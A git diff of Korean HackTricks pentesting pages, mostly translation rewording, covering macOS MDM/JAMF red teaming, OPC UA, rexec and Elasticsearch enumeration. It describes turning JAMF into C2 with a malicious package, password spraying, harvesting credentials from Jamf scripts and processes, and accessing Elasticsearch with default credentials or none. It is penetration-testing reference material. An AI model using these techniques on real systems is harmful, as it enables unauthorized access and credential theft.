**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -1098,7 +1096,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.p
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -28,21 +28,21 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 탈취**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 잠재적으로 손상시킬 수 있습니다.**
|
||||
관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 손상시키는 데 성공하면**, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 손상시킬 수 있습니다.**
|
||||
|
||||
MacOS 환경에서 레드 팀 활동을 수행하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
|
||||
MacOS 환경에서 레드 팀 활동을 수행하기 위해 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### C2로서 MDM 사용하기
|
||||
### MDM을 C2로 사용하기
|
||||
|
||||
MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다...
|
||||
|
||||
자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다.
|
||||
|
||||
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 그러나 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다.
|
||||
그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 그러나 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가하므로**, 이제 무엇이든 서명할 수 있습니다.
|
||||
|
||||
장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(압축하여 zip으로 만들고 Safari에서 다운로드하면 압축이 해제됩니다).
|
||||
|
||||
|
@ -54,7 +54,7 @@ JAMF는 **사용자 정의 스크립트**(시스템 관리자가 개발한 스
|
|||
|
||||
#### JAMF 자체 등록
|
||||
|
||||
`https://<회사 이름>.jamfcloud.com/enroll/`와 같은 페이지로 이동하여 **자체 등록이 활성화되어 있는지** 확인하세요. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다.**
|
||||
`https://<company-name>.jamfcloud.com/enroll/`와 같은 페이지로 가서 **자체 등록이 활성화되어 있는지** 확인하세요. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다.**
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) 스크립트를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다.
|
||||
|
||||
|
@ -89,7 +89,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL**을 설정하여 JAMF를 C2로 악용할 수 있습니다.
|
||||
그래서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포할 수 있으며, 이제 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정하여 JAMF를 C2로 악용**할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -109,17 +109,17 @@ sudo jamf policy -id 0
|
|||
|
||||
이 정보를 가지고, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트**를 **후킹**하여 정보를 훔쳐야 합니다.
|
||||
|
||||
#### 비밀 훔치기
|
||||
#### 비밀 정보 훔치기
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
관리자가 Jamf를 통해 실행하고자 할 **사용자 정의 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다.** 이 스크립트는 **자격 증명**을 포함할 수 있습니다.
|
||||
관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거**됩니다. 이러한 스크립트는 **자격 증명**을 포함할 수 있습니다.
|
||||
|
||||
그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다).
|
||||
|
||||
스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새 프로세스 인수가 생기는 것을 감지할 수 있습니다.
|
||||
|
||||
### macOS 원격 액세스
|
||||
### macOS 원격 접근
|
||||
|
||||
또한 **MacOS**의 "특별한" **네트워크** **프로토콜**에 대해:
|
||||
|
||||
|
@ -143,11 +143,11 @@ sudo jamf policy -id 0
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`입니다:
|
||||
도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용하기 위해 준비된 몇 가지 도구가 있습니다:
|
||||
또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용할 수 있도록 준비된 도구들이 있습니다:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 MacOS 호스트에서 Active Directory 관계를 수집하고 수집할 수 있도록 하는 Bloodhound 감사 도구의 확장입니다.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 타겟에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 개선하는 것입니다.
|
||||
|
@ -161,11 +161,11 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
MacOS 사용자 유형은 세 가지입니다:
|
||||
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 연결하여 인증이 필요한 변동성 Active Directory 사용자입니다.
|
||||
* **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다.
|
||||
* **네트워크 사용자** — DC 서버에 연결하여 인증을 요구하는 변동성 Active Directory 사용자입니다.
|
||||
* **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
|
||||
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\
|
||||
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default_ 폴더에 저장됩니다.\
|
||||
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 있습니다.
|
||||
|
||||
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**:
|
||||
|
@ -229,7 +229,7 @@ mount -t smbfs //server/folder /local/mount/point
|
|||
```
|
||||
## 키체인 접근
|
||||
|
||||
키체인은 아마도 민감한 정보를 포함하고 있으며, 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있습니다:
|
||||
키체인에는 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있는 민감한 정보가 포함되어 있을 가능성이 높습니다:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -237,7 +237,7 @@ mount -t smbfs //server/folder /local/mount/point
|
|||
|
||||
## 외부 서비스
|
||||
|
||||
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 일반적으로 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있습니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
|
||||
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다릅니다. 왜냐하면 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있기 때문입니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
|
||||
|
||||
## 기타 레드 팀 기술
|
||||
|
||||
|
@ -257,7 +257,7 @@ Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -272,7 +272,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -50,13 +50,13 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
|||
|
||||
* `port:4840`
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -71,7 +71,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**유효한 자격 증명**(사용자 이름 및 비밀번호)을 알고 있다면 **호스트 내에서 명령을 실행할 수 있는 서비스**입니다.
|
||||
유효한 **자격 증명**(사용자 이름 및 비밀번호)을 알고 있다면 **호스트 내에서 명령을 실행할 수 있는 서비스**입니다.
|
||||
|
||||
**기본 포트:** 512
|
||||
```
|
||||
|
@ -36,9 +36,9 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
## Basic information
|
||||
|
||||
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하며, 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK 스택이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 보유하고 있습니다.
|
||||
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하여 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다.
|
||||
|
||||
### Elasticsearch 인덱스란 무엇인가요?
|
||||
### What is an Elasticsearch index?
|
||||
|
||||
Elasticsearch **인덱스**는 **JSON** 형식으로 저장된 **관련 문서**의 모음입니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
|
||||
Elasticsearch의 **인덱스**는 **관련 문서**의 모음으로 **JSON** 형식으로 저장됩니다. 각 문서는 **키**와 해당 **값**(문자열, 숫자, 불리언, 날짜, 배열, 지리적 위치 등)으로 구성됩니다.
|
||||
|
||||
Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **역 인덱스**라는 효율적인 데이터 구조를 사용합니다. 이 인덱스는 문서 내의 모든 고유 단어를 나열하고 각 단어가 나타나는 문서를 식별합니다.
|
||||
|
||||
|
@ -37,21 +37,21 @@ Elasticsearch는 빠른 전체 텍스트 검색을 용이하게 하기 위해 **
|
|||
|
||||
**기본 포트**: 9200/tcp
|
||||
|
||||
## 수동 열거
|
||||
## Manual Enumeration
|
||||
|
||||
### 배너
|
||||
### Banner
|
||||
|
||||
Elasticsearch에 접근하는 데 사용되는 프로토콜은 **HTTP**입니다. HTTP를 통해 접근하면 흥미로운 정보를 찾을 수 있습니다: `http://10.10.10.115:9200/`
|
||||
|
||||
![](<../.gitbook/assets/image (294).png>)
|
||||
|
||||
`/`에 접근할 때 해당 응답이 보이지 않으면 다음 섹션을 참조하세요.
|
||||
`/`에 접근할 때 해당 응답이 보이지 않으면 다음 섹션을 참조하십시오.
|
||||
|
||||
### 인증
|
||||
### Authentication
|
||||
|
||||
**기본적으로 Elasticsearch는 인증이 활성화되어 있지 않습니다**, 따라서 기본적으로 자격 증명 없이 데이터베이스 내의 모든 것에 접근할 수 있습니다.
|
||||
**기본적으로 Elasticsearch는 인증이 활성화되어 있지 않으므로**, 기본적으로 자격 증명 없이 데이터베이스 내의 모든 것에 접근할 수 있습니다.
|
||||
|
||||
인증이 비활성화되어 있는지 확인하려면 다음 요청을 보낼 수 있습니다:
|
||||
인증이 비활성화되어 있는지 확인하려면 다음 요청을 사용하십시오:
|
||||
```bash
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
|
||||
|
@ -60,7 +60,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
|||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
그것은 인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 것을 의미합니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
|
||||
그것은 인증이 구성되어 있으며 **유효한 자격 증명이 필요**하다는 것을 의미합니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-methodologies-and-resources/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
|
||||
여기 **기본 사용자 이름 목록**이 있습니다: _**elastic** (슈퍼유저), remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_.\_ 이전 버전의 Elasticsearch는 이 사용자에 대해 기본 비밀번호 **changeme**를 가지고 있습니다.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
|
@ -114,7 +114,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
|||
|
||||
### Indices
|
||||
|
||||
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스를 수집할 수 있습니다**.
|
||||
`http://10.10.10.115:9200/_cat/indices?v`에 접근하여 **모든 인덱스**를 **수집할 수 있습니다**.
|
||||
```
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
|
||||
|
@ -166,7 +166,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
|||
"name" : "how to get a job"
|
||||
}'
|
||||
```
|
||||
해당 cmd는 "_bookId_", "_author_", "_publisher_" 및 "_name_" 속성을 가진 `books` 유형의 문서로 `bookindex`라는 **새 인덱스**를 생성합니다.
|
||||
그 명령은 `_bookId_`, `_author_`, `_publisher_` 및 `_name_` 속성을 가진 `books` 유형의 문서로 `bookindex`라는 **새 인덱스**를 생성합니다.
|
||||
|
||||
**새 인덱스가 이제 목록에 나타나는지 확인하세요**:
|
||||
|
||||
|
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
